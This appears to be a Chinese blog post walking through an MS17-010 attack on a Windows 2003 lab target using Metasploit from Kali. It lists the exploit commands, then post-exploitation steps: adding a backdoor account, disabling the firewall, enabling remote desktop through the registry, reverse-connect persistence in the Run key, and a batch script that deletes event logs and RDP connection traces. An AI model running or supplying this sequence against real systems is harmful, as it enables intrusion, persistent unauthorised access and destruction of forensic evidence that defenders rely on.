MSF

靶机 windows2003 

漏洞ms17-010

攻击机 kali2020

msfconsole 进入到MSF
search ms17-010
先使用auxiliary扫描一下目标机器是否存在该漏洞
auxiliary/scanner/smb/smb_ms17_010
show options

设置一下rhost

set rhost 192.168.22.136

run

看出该靶机有该漏洞,使用exploit模块进行攻击

use exploit/windows/smb/ms17_010_psexec

set rhost 192.168.22.136

run

输入命令 shell

net user small 123456 /add 添加用户名为small密码为123456的用户

net user 查看本地用户信息

netsh firewall set opmode mode=disable 关闭防火墙

netsh firewall show state // 查看防火墙状态

net user small 123456 /add 添加用户名为small密码为123456的用户

net user 查看本地用户信息

netsh firewall set opmode mode=disable 关闭防火墙

netsh firewall show state // 查看防火墙状态

netstat -ano 查看开启的端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启3389端口

netstat -aon |findstr "3389"

做一个权限维持

这里使用的是persistence

-X 指定启动的方式为开机自启动

-i 反向连接的时间间隔

-r 指定攻击者的ip

靶机的C盘已经生成了我们使用msf生成的vbs文件

将vbs写入到开机启动项

远程连接靶机然后cmd打开注册表编辑器找到这个路径 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 新建一个字符串值,修改数值数据为vbs的绝对路径

使用MSF做一个权限维持

清理下痕迹

创建一个bat文件,使用记事本打开复制粘贴以下内容就行

这里如果想要删除当天的记录需要向前多写一天,比如想删除1月15号的记录,就要写2021-01-14

这里是打印删除并非真正的删除(这里借用阿里云大佬博客的方法 https://developer.aliyun.com/article/263577)

@echo off
cd /d "C:\WINDOWS\system32\config"
for %%a in (*) do for /f "tokens=1,2* delims= " %%b in (
'dir /tc "%%a" ^| find /i "%%~nxa"') do (
  if "%%b" gtr "2021-01-15" (
    echo del "%%a"
  ) else (
    if "%%b" equ "2020-01-16" if "%%c" gtr "00:50" echo del "%%a"
  )
)
set /p fk= Are you sure you want to clear 3389 connection traces? (y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0
:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo The command is executed successfully, please manually check whether it is cleared.
pause >nul
:n
exit
rem 这是C盘中的日志文件,如果想删除当天的把上面的时间改下,然后把路径复制过去就可以了
@del c:\windows\system32\logfiles\*.*
@del c:\windows\system32\config\*.evt
@del c:\windows\system32\dtclog\*.*
@del c:\windows\system32\*.log
@del c:\windows\system32\*.txt
@del c:\dellog.bat
rem 删除C盘的日志文件

 

posted @ 2021-01-18 09:50  漩溺  阅读(719)  评论(0编辑  收藏  举报